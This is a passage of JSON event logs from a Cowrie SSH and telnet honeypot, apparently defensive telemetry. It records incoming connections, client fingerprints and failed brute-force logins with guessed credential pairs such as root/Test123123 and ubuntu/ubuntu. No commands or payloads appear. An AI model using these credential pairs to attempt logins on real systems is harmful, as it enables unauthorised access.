af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:23:59.647378Z","src_ip":"178.27.90.142","session":"2c590a9eb820","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test123123","message":"login attempt [root/Test123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:24:00.093857Z","src_ip":"178.27.90.142","session":"2c590a9eb820","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:24:01.201540Z","src_ip":"178.27.90.142","session":"2c590a9eb820","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.141.59.195","src_port":44792,"dst_ip":"159.203.135.109","dst_port":22,"session":"76a1936f52af","protocol":"ssh","message":"New connection: 114.141.59.195:44792 (159.203.135.109:22) [session: 76a1936f52af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:24:09.680529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:24:09.724916Z","src_ip":"114.141.59.195","session":"76a1936f52af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:24:09.964898Z","src_ip":"114.141.59.195","session":"76a1936f52af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jose123","message":"login attempt [root/jose123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:24:10.920816Z","src_ip":"114.141.59.195","session":"76a1936f52af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:24:12.163900Z","src_ip":"114.141.59.195","session":"76a1936f52af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.57158136367798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:24:20.169669Z","src_ip":"152.70.153.3","session":"a85c555c51f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.98.118","src_port":41778,"dst_ip":"159.203.135.109","dst_port":22,"session":"2375e2846edc","protocol":"ssh","message":"New connection: 43.157.98.118:41778 (159.203.135.109:22) [session: 2375e2846edc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:24:21.217865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:24:21.222126Z","src_ip":"43.157.98.118","session":"2375e2846edc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:24:21.310268Z","src_ip":"43.157.98.118","session":"2375e2846edc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"00000000","message":"login attempt [user/00000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:24:21.988040Z","src_ip":"43.157.98.118","session":"2375e2846edc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.234288215637207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:24:22.574033Z","src_ip":"152.70.153.3","session":"a75f410f40fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:24:23.079149Z","src_ip":"43.157.98.118","session":"2375e2846edc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":52614,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc0d4fe64ee7","protocol":"ssh","message":"New connection: 2.57.122.238:52614 (10.17.0.5:22) [session: bc0d4fe64ee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:24:31.972542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:24:31.977990Z","src_ip":"2.57.122.238","session":"bc0d4fe64ee7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:24:32.088564Z","src_ip":"2.57.122.238","session":"bc0d4fe64ee7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:24:32.407777Z","src_ip":"2.57.122.238","session":"bc0d4fe64ee7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":39066,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfafc568c7e6","protocol":"telnet","message":"New connection: 185.26.126.47:39066 (159.203.135.109:23) [session: dfafc568c7e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:24:32.761213Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:24:33.515165Z","src_ip":"2.57.122.238","session":"bc0d4fe64ee7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.181.57.214","src_port":60906,"dst_ip":"159.203.135.109","dst_port":23,"session":"03b183cfc24b","protocol":"telnet","message":"New connection: 62.181.57.214:60906 (159.203.135.109:23) [session: 03b183cfc24b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:24:42.141262Z"}
{"eventid":"cowrie.session.closed","duration":13.929729461669922,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:24:46.690822Z","src_ip":"185.26.126.47","session":"dfafc568c7e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.27.90.142","src_port":60449,"dst_ip":"159.203.135.109","dst_port":22,"session":"f256ad804e6a","protocol":"ssh","message":"New connection: 178.27.90.142:60449 (159.203.135.109:22) [session: f256ad804e6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:24:51.601855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:24:51.605556Z","src_ip":"178.27.90.142","session":"f256ad804e6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:24:51.710102Z","src_ip":"178.27.90.142","session":"f256ad804e6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fernanda","message":"login attempt [root/fernanda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:24:52.145644Z","src_ip":"178.27.90.142","session":"f256ad804e6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:24:53.248816Z","src_ip":"178.27.90.142","session":"f256ad804e6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.954902172088623,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:24:55.096034Z","src_ip":"62.181.57.214","session":"03b183cfc24b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.98.118","src_port":33618,"dst_ip":"159.203.135.109","dst_port":22,"session":"68a0da15138e","protocol":"ssh","message":"New connection: 43.157.98.118:33618 (159.203.135.109:22) [session: 68a0da15138e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:25:10.985981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:25:10.991645Z","src_ip":"43.157.98.118","session":"68a0da15138e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:25:11.084960Z","src_ip":"43.157.98.118","session":"68a0da15138e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ali@123","message":"login attempt [root/ali@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:25:11.785002Z","src_ip":"43.157.98.118","session":"68a0da15138e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:25:12.880544Z","src_ip":"43.157.98.118","session":"68a0da15138e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.43.214.65","src_port":38960,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1d019f8c16b","protocol":"telnet","message":"New connection: 38.43.214.65:38960 (10.17.0.5:23) [session: e1d019f8c16b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:25:46.582267Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.27.90.142","src_port":59976,"dst_ip":"159.203.135.109","dst_port":22,"session":"735613ba557f","protocol":"ssh","message":"New connection: 178.27.90.142:59976 (159.203.135.109:22) [session: 735613ba557f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:25:46.732557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:25:46.737348Z","src_ip":"178.27.90.142","session":"735613ba557f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:25:46.835664Z","src_ip":"178.27.90.142","session":"735613ba557f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwerty","message":"login attempt [root/12345qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:25:47.275254Z","src_ip":"178.27.90.142","session":"735613ba557f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:25:48.377721Z","src_ip":"178.27.90.142","session":"735613ba557f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0014135837555,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:25:54.826767Z","src_ip":"47.17.208.12","session":"9574335b00c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00105094909668,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:25:55.246649Z","src_ip":"47.17.208.12","session":"f36143c61b2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.17.208.12","src_port":37118,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d5ee1373330","protocol":"telnet","message":"New connection: 47.17.208.12:37118 (10.17.0.5:23) [session: 5d5ee1373330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:25:55.585788Z"}
{"eventid":"cowrie.session.closed","duration":12.363065481185913,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:25:58.945216Z","src_ip":"38.43.214.65","session":"e1d019f8c16b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.27.90.142","src_port":64434,"dst_ip":"159.203.135.109","dst_port":22,"session":"a71bbea90279","protocol":"ssh","message":"New connection: 178.27.90.142:64434 (159.203.135.109:22) [session: a71bbea90279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:26:41.557720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:26:41.561389Z","src_ip":"178.27.90.142","session":"a71bbea90279","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:26:41.665498Z","src_ip":"178.27.90.142","session":"a71bbea90279","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin01","message":"login attempt [root/admin01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:26:42.101954Z","src_ip":"178.27.90.142","session":"a71bbea90279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:26:43.205463Z","src_ip":"178.27.90.142","session":"a71bbea90279","protocol":"ssh"}
